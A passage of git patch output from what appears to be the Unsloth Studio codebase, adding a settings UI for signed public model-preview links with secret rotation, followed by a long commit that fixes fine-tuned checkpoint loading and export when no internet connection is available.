+import { openModelsDir } from "@/features/native-intents";
+import { emitTrainingRunsChanged } from "@/features/training";
 import {
   setShowLlamaUpdateBanner,
   useShowLlamaUpdateBanner,
 } from "@/hooks/use-llama-update-pref";
 import { LOCALE_STORAGE_KEY, useT } from "@/i18n";
+import { isTauri } from "@/lib/api-base";
+import { copyToClipboard } from "@/lib/copy-to-clipboard";
+import { toast } from "@/lib/toast";
 import { cn } from "@/lib/utils";
 import { useNavigate, useRouterState } from "@tanstack/react-router";
 import { Check, Eye, EyeOff } from "lucide-react";
@@ -34,6 +34,13 @@ import {
   loadHelperPrecacheSettings,
   updateHelperPrecacheSettings,
 } from "../api/helper-precache";
+import { type ModelsFolder, loadModelsFolder } from "../api/models-folder";
+import {
+  type PreviewSharingSettings,
+  loadPreviewSharing,
+  rotatePreviewLinks,
+  updatePreviewSharing,
+} from "../api/preview-sharing";
 import {
   DEFAULT_UPLOAD_LIMIT_MB,
   type UploadLimitSettings,
@@ -146,6 +153,14 @@ export function GeneralTab() {
     null,
   );
   const [isSavingHelperPrecache, setIsSavingHelperPrecache] = useState(false);
+  const [previewSharing, setPreviewSharing] =
+    useState<PreviewSharingSettings | null>(null);
+  const [previewSharingError, setPreviewSharingError] = useState<string | null>(
+    null,
+  );
+  const [isSavingPreviewSharing, setIsSavingPreviewSharing] = useState(false);
+  const [revokePreviewOpen, setRevokePreviewOpen] = useState(false);
+  const [isRevokingPreview, setIsRevokingPreview] = useState(false);
   const [modelsFolder, setModelsFolder] = useState<ModelsFolder | null>(null);
 
   const draftRef = useRef(draftToken);
@@ -220,6 +235,27 @@ export function GeneralTab() {
     };
   }, [t]);
 
+  useEffect(() => {
+    let cancelled = false;
+    void loadPreviewSharing()
+      .then((settings) => {
+        if (cancelled) return;
+        setPreviewSharing(settings);
+        setPreviewSharingError(null);
+      })
+      .catch((error) => {
+        if (cancelled) return;
+        setPreviewSharingError(
+          error instanceof Error
+            ? error.message
+            : t("settings.general.previewSharing.loadError"),
+        );
+      });
+    return () => {
+      cancelled = true;
+    };
+  }, [t]);
+
   useEffect(() => {
     let cancelled = false;
     void loadModelsFolder()
@@ -274,6 +310,44 @@ export function GeneralTab() {
     }
   };
 
+  const savePreviewSharing = async (enabled: boolean) => {
+    setIsSavingPreviewSharing(true);
+    setPreviewSharingError(null);
+    try {
+      const settings = await updatePreviewSharing(enabled);
+      setPreviewSharing(settings);
+      // Toggling sharing changes whether /api/train/runs returns preview_sig, so
+      // refresh the history grid (hide/show the Copy preview link buttons).
+      emitTrainingRunsChanged();
+    } catch (error) {
+      setPreviewSharingError(
+        error instanceof Error
+          ? error.message
+          : t("settings.general.previewSharing.saveError"),
+      );
+    } finally {
+      setIsSavingPreviewSharing(false);
+    }
+  };
+
+  const revokePreviewLinks = async () => {
+    setIsRevokingPreview(true);
+    try {
+      await rotatePreviewLinks();
+      // The secret rotated, so any preview_sig the history grid still holds is
+      // now stale. Refresh so copied links use freshly minted signatures.
+      emitTrainingRunsChanged();
+      setRevokePreviewOpen(false);
+      toast.success(t("settings.general.previewSharing.revoked"));
+    } catch (error) {
+      toast.error(t("settings.general.previewSharing.revokeError"), {
+        description: error instanceof Error ? error.message : undefined,
+      });
+    } finally {
+      setIsRevokingPreview(false);
+    }
+  };
+
   const saveUploadLimit = async () => {
     const parsed = Number(draftUploadLimit);
     if (!Number.isInteger(parsed)) {
@@ -454,6 +528,42 @@ export function GeneralTab() {
         </SettingsRow>
       </SettingsSection>
 
+      <SettingsSection
+        title={t("settings.general.previewSharing.sectionTitle")}
+      >
+        <SettingsRow
+          label={t("settings.general.previewSharing.enableLabel")}
+          description={t("settings.general.previewSharing.enableDescription")}
+        >
+          <div className="flex flex-col items-end gap-1">
+            <Switch
+              checked={previewSharing?.enabled ?? false}
+              disabled={!previewSharing || isSavingPreviewSharing}
+              onCheckedChange={(enabled) => void savePreviewSharing(enabled)}
+            />
+            {previewSharingError ? (
+              <span className="max-w-[260px] text-right text-xs text-destructive">
+                {previewSharingError}
+              </span>
+            ) : null}
+          </div>
+        </SettingsRow>
+        <SettingsRow
+          destructive={true}
+          label={t("settings.general.previewSharing.revokeLabel")}
+          description={t("settings.general.previewSharing.revokeDescription")}
+        >
+          <Button
+            variant="outline"
+            size="sm"
+            onClick={() => setRevokePreviewOpen(true)}
+            className="text-destructive hover:text-destructive hover:border-destructive/60"
+          >
+            {t("settings.general.previewSharing.revokeAction")}
+          </Button>
+        </SettingsRow>
+      </SettingsSection>
+
       <SettingsSection title={t("settings.general.uploads.sectionTitle")}>
         <SettingsRow
           label={t("settings.general.uploads.maxUploadSize")}
@@ -561,6 +671,36 @@ export function GeneralTab() {
           </DialogFooter>
         </DialogContent>
       </Dialog>
+
+      <Dialog open={revokePreviewOpen} onOpenChange={setRevokePreviewOpen}>
+        <DialogContent className="max-w-md">
+          <DialogHeader>
+            <DialogTitle>
+              {t("settings.general.previewSharing.revokeConfirmTitle")}
+            </DialogTitle>
+            <DialogDescription>
+              {t("settings.general.previewSharing.revokeConfirmDescription")}
+            </DialogDescription>
+          </DialogHeader>
+          <DialogFooter>
+            <Button
+              variant="outline"
+              onClick={() => setRevokePreviewOpen(false)}
+            >
+              {t("common.cancel")}
+            </Button>
+            <Button
+              onClick={() => void revokePreviewLinks()}
+              disabled={isRevokingPreview}
+              className="bg-destructive hover:bg-destructive/90 text-destructive-foreground"
+            >
+              {isRevokingPreview
+                ? t("settings.general.previewSharing.revoking")
+                : t("settings.general.previewSharing.revokeConfirmAction")}
+            </Button>
+          </DialogFooter>
+        </DialogContent>
+      </Dialog>
     </div>
   );
 }
diff --git a/studio/frontend/src/features/studio/history-card-grid.tsx b/studio/frontend/src/features/studio/history-card-grid.tsx
index 75ef1c2d85..5ff9f3bf82 100644
--- a/studio/frontend/src/features/studio/history-card-grid.tsx
+++ b/studio/frontend/src/features/studio/history-card-grid.tsx
@@ -387,8 +387,9 @@ export function HistoryCardGrid({
           const isRunning = run.status === "running";
           const canResume = run.can_resume && !wasContinued;
           const isResuming = resumeTarget === run.id;
-          // Backend /p ref, gated on previewability + route-expressible depth.
-          const canCopyPreview = !!run.preview_ref;
+          // Backend /p ref + its capability token. Both are required: the link
+          // is useless (404s) without the signature, so don't offer to copy it.
+          const canCopyPreview = !!run.preview_ref && !!run.preview_sig;
           return (
             <div
               role="button"
@@ -456,7 +457,9 @@ export function HistoryCardGrid({
                       serverUrl ??
                       window.location.origin
                     ).replace(/\/+$/, "");
-                    const url = `${base}/p/${ref}`;
+                    // The signature is a bearer capability carried as ?k=; the
+                    // recipient's page forwards it on its chat requests.
+                    const url = `${base}/p/${ref}?k=${encodeURIComponent(run.preview_sig ?? "")}`;
                     const ok = await copyToClipboard(url);
                     toast[ok ? "success" : "error"](
                       t(
diff --git a/studio/frontend/src/features/training/types/history.ts b/studio/frontend/src/features/training/types/history.ts
index 480a3daa6b..45d83a31d2 100644
--- a/studio/frontend/src/features/training/types/history.ts
+++ b/studio/frontend/src/features/training/types/history.ts
@@ -17,6 +17,7 @@ export interface TrainingRunSummary {
   resumed_later: boolean;
   has_preview_model: boolean;
   preview_ref: string | null;
+  preview_sig: string | null;
   duration_seconds: number | null;
   error_message: string | null;
   loss_sparkline: number[] | null;
diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts
index 84ab92bb8b..019a23a891 100644
--- a/studio/frontend/src/i18n/locales/en.ts
+++ b/studio/frontend/src/i18n/locales/en.ts
@@ -142,6 +142,25 @@ export const en = {
         loadError: "Failed to load Helper LLM settings.",
         saveError: "Failed to save Helper LLM settings.",
       },
+      previewSharing: {
+        sectionTitle: "Preview sharing",
+        enableLabel: "Public preview links",
+        enableDescription:
+          "Let anyone with a signed link chat with a finished model, no login required. Turn off to take the public preview surface offline; shared links stop working.",
+        loadError: "Failed to load preview sharing settings.",
+        saveError: "Failed to save preview sharing settings.",
+        revokeLabel: "Revoke all preview links",
+        revokeDescription:
+          "Rotate the signing secret so every link you've shared stops working. Newly copied links keep working.",
+        revokeAction: "Revoke links",
+        revoking: "Revoking...",
+        revokeConfirmTitle: "Revoke all preview links?",
+        revokeConfirmDescription:
+          "Every preview link you've shared will stop working immediately. This can't be undone.",
+        revokeConfirmAction: "Revoke all links",
+        revoked: "All preview links revoked",
+        revokeError: "Couldn't revoke preview links",
+      },
       notifications: {
         sectionTitle: "Notifications",
         showLlamaUpdates: "llama.cpp update notifications",
@@ -161,8 +180,7 @@ export const en = {
       storage: {
         sectionTitle: "Storage",
         modelsFolder: "Models folder",
-        modelsFolderDescription:
-          "Where downloaded models are stored.",
+        modelsFolderDescription: "Where downloaded models are stored.",
         openAction: "Open",
         copyAction: "Copy path",
         copied: "Path copied",

From 1396c01253d8b8acaad681f8a0f0ddc987bce79d Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 25 Jun 2026 23:16:53 -0700
Subject: [PATCH 116/306] Fix offline checkpoint load/export: "tokenizer is
 weirdly not loaded" (#6554)

* Fix offline checkpoint load/export failing with "tokenizer is weirdly not loaded"

Loading a fine-tuned checkpoint with no internet (e.g. a Studio export) crashed
with "Unsloth: The tokenizer is weirdly not loaded? Please check if there is one."

For a LoRA adapter the loader reassigns model_name to the base model repo id and
only keeps the local checkpoint dir as tokenizer_name when it contains
tokenizer_config.json, tokenizer.json AND special_tokens_map.json. Modern
tokenizers (e.g. Gemma) store special tokens inside tokenizer_config.json and
omit special_tokens_map.json, so tokenizer_name fell back to the base repo id.
The tokenizer/processor loads in vision.py then hit the Hub with no
local_files_only, so with no network they failed (AutoProcessor) or hung for
minutes (AutoTokenizer) even though every file was already cached.

loader.py: keep the local checkpoint dir as tokenizer_name when it has a
tokenizer config plus the actual tokenizer files (tokenizer.json / tokenizer.model
/ vocab files); special_tokens_map.json is no longer required.

vision.py: compute an effective local_files_only (explicit kwarg plus the
HF_HUB_OFFLINE / TRANSFORMERS_OFFLINE env vars, mirroring loader.py and
diffusion.py) and thread it through every AutoConfig, AutoProcessor,
AutoTokenizer and the manual VLM processor fallback, including the
hf_hub_download in that fallback (which now prefers a local file). When a load
fails and no offline env var is set, retry against the local cache. The retry
forces HF offline mode because local_files_only alone does not stop
AutoProcessor / AutoTokenizer from issuing a /api/models request during class
resolution. The final error now explains the offline/cache cause instead of the
misleading "weirdly not loaded" message.

studio export: probe Hub reachability once per checkpoint load and pass
local_files_only when offline so exports use the local checkpoint dir / cache
instead of hanging or crashing with no internet.

Online behavior is unchanged: the new flags default to off and the retry only
runs after a network related failure.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: safer offline forcing, cached fallback config, proxy-aware probe

Follow-up to the offline checkpoint load fix, addressing review feedback:

- vision.py: only flip the process-wide HF offline flag when offline is actually
  requested (local_files_only / env) or after a real network failure, never
  pre-emptively while we might be online. The flip is now guarded by a lock +
  depth counter so nested or concurrent windows restore the flag correctly
  (no stale value).
- vision.py: guard the get_auto_processor fallback so a network error there
  returns None and the local-cache retry still runs instead of escaping.
- vision.py: in the manual VLM processor fallback, read tokenizer_config.json
  via hf_hub_download(..., local_files_only=...) so a cached repo-id config is
  still resolved offline and the model-specific image/video tokens are restored.
- studio export: make the reachability probe proxy aware (probe the configured
  HTTP(S) proxy egress, honour NO_PROXY, use the endpoint port) so a proxy-only
  setup is not wrongly marked offline; allow UNSLOTH_OFFLINE_PROBE=0 to disable.
- studio export: run the audio/vision type-detection probes inside the
  forced-offline window when offline, so their config/tokenizer reads hit the
  local cache instead of waiting out connection timeouts.

Online behavior remains unchanged.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: gate offline retry, safer tokenizer_name pop, skip audio net probe offline

- vision.py: only force the process-wide HF offline flag on the tokenizer
  retry when offline was requested or the captured primary error is actually
  network related, so a permanent tokenizer error no longer toggles global
  offline mode for other concurrent loads.
- loader.py: always pop tokenizer_name out of kwargs and let a caller-supplied
  value win, avoiding a "multiple values for keyword argument 'tokenizer_name'"
  TypeError when it is also passed explicitly downstream.
- model_config.py / export.py: add local_files_only to detect_audio_type so the
  raw requests.get tokenizer_config fetch is skipped offline (it ignores the HF
  offline flag), and pass it from the export probe.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: classify LocalEntryNotFoundError as offline-related

huggingface_hub's LocalEntryNotFoundError subclasses FileNotFoundError, so the
"not isinstance(cur, FileNotFoundError)" guard in _is_offline_related_error was
swallowing it and it could never be recognised as offline, despite being listed
in the network error types. It means "not in cache and the Hub is unreachable",
which is genuinely offline. Capture the class into an isinstance-checkable tuple
(empty, hence a no-op, if the import is unavailable) and exclude it from the
FileNotFoundError guard, so a real offline failure now triggers the local-cache
retry while a plain missing-file error still propagates.

* Address review: require merges.txt for BPE, status-gate HTTP errors, isolate local-only audio cache

- loader.py: a local dir with vocab.json but no merges.txt (and no tokenizer.json)
  is not a loadable BPE tokenizer, so do not treat it as self-sufficient; require
  merges.txt alongside vocab.json in both gate blocks, otherwise fall back to the
  base model tokenizer as before.
- vision.py: _is_offline_related_error no longer buckets every HfHubHTTPError /
  requests HTTPError as offline. HTTP errors are judged by status code: only a
  transient 5xx triggers the forced local-cache retry, while 401/403 (auth/gated)
  and 404 (missing) propagate as the real error instead of being masked. Hard
  signals (connection/timeout/OfflineModeIsEnabled/LocalEntryNotFoundError) still
  classify as offline.
- model_config.py: include local_files_only in the audio-detection cache key so a
  local-only (offline) negative result cannot be reused by a later online probe,
  which would otherwise route an audio model through the text loader until restart.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address re-review: fix studio test stubs, force offline env in probe window, drop redundant retry

- studio/backend/tests/test_vision_cache.py: the three _detect_audio_from_tokenizer
  stubs were called with the new local_files_only kwarg and raised TypeError, failing
  Backend CI. Add local_files_only to the stub signatures and add a test that a
  local-only negative does not poison a later online audio probe.
- export.py: the type-detection probe window now also sets HF_HUB_OFFLINE /
  TRANSFORMERS_OFFLINE env vars (saved/restored), not just the in-process flag.
  transformers_version._load_config_json / _check_tokenizer_config_needs_v5 gate
  their urllib fetches on the env vars, and is_vision_model may spawn a subprocess
  that inherits os.environ but not the in-process flag; without the env vars a
  probe-detected offline export could still block on a network timeout.
- vision.py: only retry the processor load when the first attempt was online and
  failed with a network error. When local_files_only was already requested the first
  attempt was forced offline, so the previous retry just repeated identical failing
  work before the last-resort path.
- model_config.py: correct the _audio_detection_cache type annotation to the 3-tuple
  key (name, token_fingerprint, local_files_only).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: thread-safe probe-offline env window, clear error for local dir without config

- export.py: guard the HF_HUB_OFFLINE / TRANSFORMERS_OFFLINE mutation in
  _force_offline_probe_window with a lock + depth counter (mirrors _force_hf_offline),
  so concurrent / nested export probes only flip on first entry and restore on last
  exit. This prevents overlapping export requests from permanently poisoning those
  env vars or restoring a stale value.
- vision.py: in the VLM processor fallback, when tokenizer_name is a local directory,
  read its tokenizer_config.json directly and raise a clear FileNotFoundError if it is
  absent, instead of handing the local path to hf_hub_download (which would treat it as
  a repo id and raise a confusing HFValidationError / RepositoryNotFoundError).
  hf_hub_download is now only used for actual repo ids.

* Address review: classify raw socket.gaierror DNS failures as offline

Add the platform-specific getaddrinfo / DNS-resolution wording to the offline
detection list in _is_offline_related_error so a bare socket.gaierror (an OSError
subclass) is recovered from the local cache: "Name or service not known" and
"Temporary failure in name resolution" (Linux) and "nodename nor servname
provided" (macOS). Genuine non-network OSErrors (disk full, permission denied)
and plain FileNotFoundError still propagate.

* Address review: retry degraded VLM offline, force offline for text export + patch-tokenizer fallback

- vision.py: a degraded VLM processor (text-only, no image_processor) whose manual
  fallback fails offline used to be kept, so image inputs broke even with cached
  files. _construct_vlm_processor_fallback now returns its failure error;
  _acquire_processor surfaces it, and the caller retries forced-offline when the
  result is None OR a degraded VLM and the failure was network related, keeping the
  original result if the retry is not strictly better (never regress). The retry is
  still gated on an online first attempt + offline-related error so a permanent
  error never flips the global offline flag.
- vision.py: wrap the patch_tokenizer except-branch AutoTokenizer.from_pretrained in
  the same forced-offline-on-network-error pattern as the primary / last-resort
  loads, so an offline export where patch_tokenizer raises does not hang or fail.
- export.py: force HF offline around the two FastLanguageModel loads (text and SNAC)
  when the probe detected offline. Their text tokenizer path (load_correct_tokenizer
  -> AutoTokenizer) does not forward local_files_only, so without this a text export
  could still contact the Hub. Added a small _offline_window_if helper reused by the
  probe and load windows.

* Consolidate offline loading into one entry-point decision

Decide offline once per entry point instead of at every HF call site. The
prior approach threaded local_files_only into ~15 scattered config / tokenizer
/ processor / weight loads, each wrapped in its own try-online, classify-error,
retry-forced-offline dance, which is what kept surfacing "another call site you
missed", "another error shape misclassified", and global-flag thread-safety in
review.

FastLanguageModel / FastModel / FastBaseModel.from_pretrained now share an
@_offline_aware_load decorator: when offline (explicit local_files_only kwarg or
HF_HUB_OFFLINE / TRANSFORMERS_OFFLINE env) it sets local_files_only and runs the
whole load inside one _force_hf_offline() window so every nested HF call inherits
it; when online it runs normally and, only if the load fails with a genuinely
network-related error, retries once forced-offline. The online path is unchanged
(no probe added) and 401 / 403 / 404 / permanent errors still propagate.

Centralise the offline helpers in loader_utils.py as the single source of truth
(shared by loader.py, re-exported from vision.py, and reused by the Studio
exporter):
- _force_hf_offline now sets the HF_HUB_OFFLINE / TRANSFORMERS_OFFLINE env vars
  AND the in-process huggingface_hub / transformers flags, refcounted under one
  lock so nested / concurrent windows restore correctly. Setting the env vars
  covers env-gated urllib probes and spawned subprocesses too.
- _get_effective_local_files_only, _is_offline_related_error (unchanged
  classifier, retains the 5xx-vs-4xx, LocalEntryNotFound and gaierror handling),
  _offline_aware_load, and _resolve_checkpoint_tokenizer_name.

loader.py: wrap both entry points; drop the two duplicated env-var fallback
blocks and the two byte-identical local-tokenizer-gate blocks (now
_resolve_checkpoint_tokenizer_name).

vision.py: drop the per-site force_offline params and the three retry gates
(processor, patch_tokenizer fallback, last-resort). They now just surface the
underlying error so the single entry-point safety net retries forced-offline. A
network fallback error now takes precedence over a permanent primary error so the
offline retry still fires when the manual VLM fallback needs cached repo files.

studio/backend export.py: reuse the unified core _force_hf_offline (env + flags)
and drop the duplicate probe-window primitive; the snac / text branches no longer
need their own window. model_config.py: also gate the raw requests.get audio
fallback on the HF offline env vars so it is covered even without the kwarg.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address 10-reviewer P1 findings: vision cache split, PEFT offline, retry OOM

Split the Studio vision-detection cache by local_files_only, mirroring the audio
cache fix. is_vision_model / _is_vision_model_uncached / _raw_config_has_vision_config
/ load_model_config now thread local_files_only, the cache key includes it, and the
exporter passes it. Offline detection also skips the transformers-5 network
subprocess and stays on the local cache, so an offline negative can no longer be
keyed under the online entry and poison a later online probe. Adds a regression
test mirroring the audio poison test.

Forward local_files_only to both PeftModel.from_pretrained adapter-attach sites in
loader.py so a cached remote LoRA adapter resolves from the local cache under
explicit local-only / offline loads (defence-in-depth alongside the forced-offline
window).

_offline_aware_load: run the forced-offline retry OUTSIDE the except block and
collect + empty the device cache first. An except-scoped exception keeps its
__traceback__, which pins the failed attempt's frame locals (a partially loaded
model) until the block exits; loading the model again while that copy is still
alive could OOM a large VLM. Letting the except block close drops the traceback so
the partial load is freed before the retry reallocates.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address Codex review: env-offline cache key + rebuild HF sessions in offline window

Key the Studio audio and vision detection caches on the EFFECTIVE offline state
(local_files_only OR the HF offline env vars), not just the kwarg. detect_audio_type
and is_vision_model both skip the remote fetch / network subprocess when
HF_HUB_OFFLINE / TRANSFORMERS_OFFLINE is set even with the default
local_files_only=False, so the result reflects offline; storing it under the online
(False) key let an env-offline negative poison a later online lookup once the env var
was cleared. Both now compute effective_offline once and use it for the cache key and
the downstream call. Adds a regression test for the env-offline dimension.

_force_hf_offline now rebuilds huggingface_hub's cached sessions on enter and exit
(best-effort _reset_hf_sessions). On hub 0.x the offline adapter is baked into the
per-thread requests.Session at creation, so flipping the constant alone leaves an
already-cached online session able to hit the network inside the window (and an
offline one stuck offline after restore); resetting forces the next get_session() to
match the current flag. On hub 1.x offline is checked dynamically per request, so
reset_sessions does not exist and the helper is a safe no-op.

The third review point (release the failed load before retrying) was already fixed in
af0f58a: the forced-offline retry now runs outside the except block and frees the
device cache first, so the failed attempt's traceback-pinned partial model is
released before the retry reallocates.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Align Studio _env_offline parsing with the canonical offline helper

model_config._env_offline gates the raw requests.get tokenizer-config fallback in
detect_audio_type and the audio/vision detection cache keys, but it only accepted
unstripped "1"/"true"/"yes". unsloth's offline helpers (loader_utils._env_says_offline
and the from_pretrained env fallback) accept the canonical set {1,true,yes,on} after
strip + lowercase, so HF_HUB_OFFLINE=on or HF_HUB_OFFLINE=" 1 " was treated as offline
by the loaders but online here, leaving the raw network fetch reachable while
"offline". Use the same strip + lowercase {1,true,yes,on} set. Adds parsing tests.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix lint: drop dead offline-helper re-exports from vision.py

The import-hoist verifier (scripts/verify_import_hoist.py) flagged vision.py's
re-export block as HOISTED-IMPORT-UNUSED blockers: it imported eight offline
helpers from loader_utils but only used three internally
(_get_effective_local_files_only, _is_offline_related_error, _offline_aware_load).
The other five were imported purely to preserve `from unsloth.models.vision import
X`, but nothing imports four of them from vision, and loader.py already imports
_resolve_checkpoint_tokenizer_name straight from loader_utils.

Import only the three names vision.py actually uses, and point the Studio exporter
at the canonical source (from unsloth.models.loader_utils import _force_hf_offline)
instead of re-exporting it through vision. loader_utils stays the single source of
truth; no behaviour change.

* Address Opus review: chain probe errors, unify env-offline, status-less HTTP

Chain the original AutoConfig/PeftConfig probe exception into the combined
RuntimeError in both FastLanguageModel.from_pretrained and FastModel.from_pretrained
(`raise RuntimeError(combined_error) from (autoconfig_exc or peft_exc)`). The probes
caught every Exception and stringified it, so the re-raised RuntimeError had no
__cause__/__context__ and _is_offline_related_error could not classify it -- the
network-down-but-cached auto-retry never fired for these entry points. With the
cause chained, the decorator sees a ConnectionError/LocalEntryNotFoundError/5xx and
retries forced-offline from cache; a permanent cause (404 / bad config) is still not
offline-classified and propagates without a wasted retry.

Unify the third offline-env parser: studio/backend/utils/transformers_version._env_offline
now uses the canonical {1,true,yes,on} + strip + lowercase set (matching
loader_utils._env_says_offline and model_config._env_offline), so HF_HUB_OFFLINE=on
or " 1 " no longer leaks the direct urllib metadata fetches to the network.

_is_offline_related_error: a status-less HTTP error (no response / unparseable code)
now falls back to the network-wording check instead of being dropped, so a transient
HTTP failure with clear "couldn't connect" wording is treated as offline. HTTP errors
with a real status code still decide by code (4xx propagates, 5xx is offline).

* Condense offline-loading code comments, drop dead helper, dedupe import for PR #6554

* Add unit tests for offline-loading helpers for PR #6554

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Guard load cleanup with try/finally and add retry-contract tests for PR #6554

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Add gc.collect retry-step test for PR #6554

* Tighten offline-loading comments and docstrings for PR #6554

* Raise the both-config-failed error before model-type lookup so offline retry fires for PR #6554

* Prefer offline cause for retry and bound export reachability probe for PR #6554

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Skip remote mapper while offline, harden text-load cleanup, and stop stacked offline retries for PR #6554

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Surface VLM fallback offline errors, probe offline before export version activation, and restore progress bars across retries for PR #6554

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Restore offline env after export version activation so the persistent worker re-decides per load for PR #6554

* Classify socket.gaierror and urllib URLError as offline by type for PR #6554

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Probe offline around export load preflights and never offline-retry TLS failures for PR #6554

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Force in-process offline for export preflights, verify proxy egress in probe, and skip caching offline version negatives for PR #6554

* Snapshot offline constants before forcing env and require local processor files for VLM checkpoints for PR #6554

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/export/export.py          |  64 +-
 studio/backend/core/export/worker.py          |  88 ++-
 .../tests/test_transformers_version.py        | 122 ++++
 studio/backend/tests/test_vision_cache.py     | 156 ++++-
 studio/backend/utils/models/model_config.py   | 129 ++--
 studio/backend/utils/transformers_version.py  |  66 +-
 tests/test_offline_loading_helpers.py         | 539 +++++++++++++++++
 unsloth/models/llama.py                       | 244 ++++----
 unsloth/models/loader.py                      | 158 ++---
 unsloth/models/loader_utils.py                | 337 ++++++++++-
 unsloth/models/vision.py                      | 564 ++++++++++--------
 11 files changed, 1958 insertions(+), 509 deletions(-)
 create mode 100644 tests/test_offline_loading_helpers.py

diff --git a/studio/backend/core/export/export.py b/studio/backend/core/export/export.py
index a0959741a4..f243f5b65a 100644
--- a/studio/backend/core/export/export.py
+++ b/studio/backend/core/export/export.py
@@ -10,6 +10,7 @@ import tempfile
 from loggers import get_logger
 import os
 import shutil
+import contextlib
 from pathlib import Path
 from typing import Optional, Tuple, List
 from unsloth import FastLanguageModel, FastVisionModel, _IS_MLX
@@ -37,6 +38,45 @@ logger = get_logger(__name__)
 _LLAMA_CPP_SCRIPTS_WARNING_EMITTED = False
 
 
+def _hf_offline(timeout = 3):
+    """True if export should avoid the Hub: honors the HF offline env vars, else does one
+    cheap TCP reachability probe so a network-down load uses local files / the HF cache
+    instead of hanging on connection timeouts. Proxy-aware (probes the proxy egress when
+    one is configured); disable the probe with UNSLOTH_OFFLINE_PROBE=0."""
+    _offline = {"1", "true", "yes", "on"}
+    if (
+        os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in _offline
+        or os.environ.get("TRANSFORMERS_OFFLINE", "").strip().lower() in _offline
+    ):
+        return True
+    if os.environ.get("UNSLOTH_OFFLINE_PROBE", "1").strip().lower() in {"0", "false", "no", "off"}:
+        return False  # probe disabled -> assume online; loads still pass local_files_only on env
+
+    # Shared bounded, proxy-aware probe (also used by the export worker before version activation).
+    from utils.transformers_version import hf_endpoint_unreachable
+
+    if hf_endpoint_unreachable(timeout):
+        logger.warning("Hugging Face endpoint unreachable; loading checkpoint in offline mode")
+        return True
+    return False
+
+
+# Reuse Unsloth's lock-guarded forced-offline context; no-op fallback if it moves.
+try:
+    from unsloth.models.loader_utils import _force_hf_offline
+except Exception:
+    import contextlib as _contextlib
+
+    @_contextlib.contextmanager
+    def _force_hf_offline():
+        yield
+
+
+def _offline_window_if(local_files_only):
+    """Forced-offline window when offline was detected, else a no-op context."""
+    return _force_hf_offline() if local_files_only else contextlib.nullcontext()
+
+
 def _is_wsl():
     """Detect if running under Windows Subsystem for Linux."""
     try:
@@ -175,10 +215,19 @@ class ExportBackend:
 
             model_id = base_model or checkpoint_path
 
-            # Token the type-detection probes too, else a gated multimodal base
-            # 404s here and falls through to the text loader.
-            self._audio_type = detect_audio_type(model_id, hf_token = token)
-            self.is_vision = not self._audio_type and is_vision_model(model_id, hf_token = token)
+            # Skip the Hub when offline so a no-internet export uses the local cache.
+            local_files_only = _hf_offline()
+
+            # Run the type-detection probes in the forced-offline window (else a gated
+            # base 404s); it covers is_vision_model's Hub reads + the transformers-5
+            # subprocess, and local_files_only makes detect_audio_type's requests.get skip.
+            with _offline_window_if(local_files_only):
+                self._audio_type = detect_audio_type(
+                    model_id, hf_token = token, local_files_only = local_files_only
+                )
+                self.is_vision = not self._audio_type and is_vision_model(
+                    model_id, hf_token = token, local_files_only = local_files_only
+                )
 
             if self._audio_type == "csm":
                 from unsloth import FastModel
@@ -193,6 +242,7 @@ class ExportBackend:
                     load_in_4bit = False,
                     trust_remote_code = trust_remote_code,
                     token = token,
+                    local_files_only = local_files_only,
                 )
 
             elif self._audio_type == "whisper":
@@ -207,6 +257,7 @@ class ExportBackend:
                     auto_model = WhisperForConditionalGeneration,
                     trust_remote_code = trust_remote_code,
                     token = token,
+                    local_files_only = local_files_only,
                 )
 
             elif self._audio_type == "snac":
@@ -218,6 +269,7 @@ class ExportBackend:
                     load_in_4bit = load_in_4bit,
                     trust_remote_code = trust_remote_code,
                     token = token,
+                    local_files_only = local_files_only,
                 )
 
             elif self._audio_type == "bicodec":
@@ -230,6 +282,7 @@ class ExportBackend:
                     load_in_4bit = False,
                     trust_remote_code = trust_remote_code,
                     token = token,
+                    local_files_only = local_files_only,
                 )
 
             elif self._audio_type == "dac":
@@ -241,6 +294,7 @@ class ExportBackend:
                     load_in_4bit = False,
                     trust_remote_code = trust_remote_code,
                     token = token,
+                    local_files_only = local_files_only,
                 )
 
             elif self.is_vision:
@@ -252,6 +306,7 @@ class ExportBackend:
                     load_in_4bit = load_in_4bit,
                     trust_remote_code = trust_remote_code,
                     token = token,
+                    local_files_only = local_files_only,
                 )
                 tokenizer = processor  # vision: processor acts as tokenizer
 
@@ -264,6 +319,7 @@ class ExportBackend:
                     load_in_4bit = load_in_4bit,
                     trust_remote_code = trust_remote_code,
                     token = token,
+                    local_files_only = local_files_only,
                 )
 
             if _IS_MLX:
diff --git a/studio/backend/core/export/worker.py b/studio/backend/core/export/worker.py
index fdaa306e10..71a603a857 100644
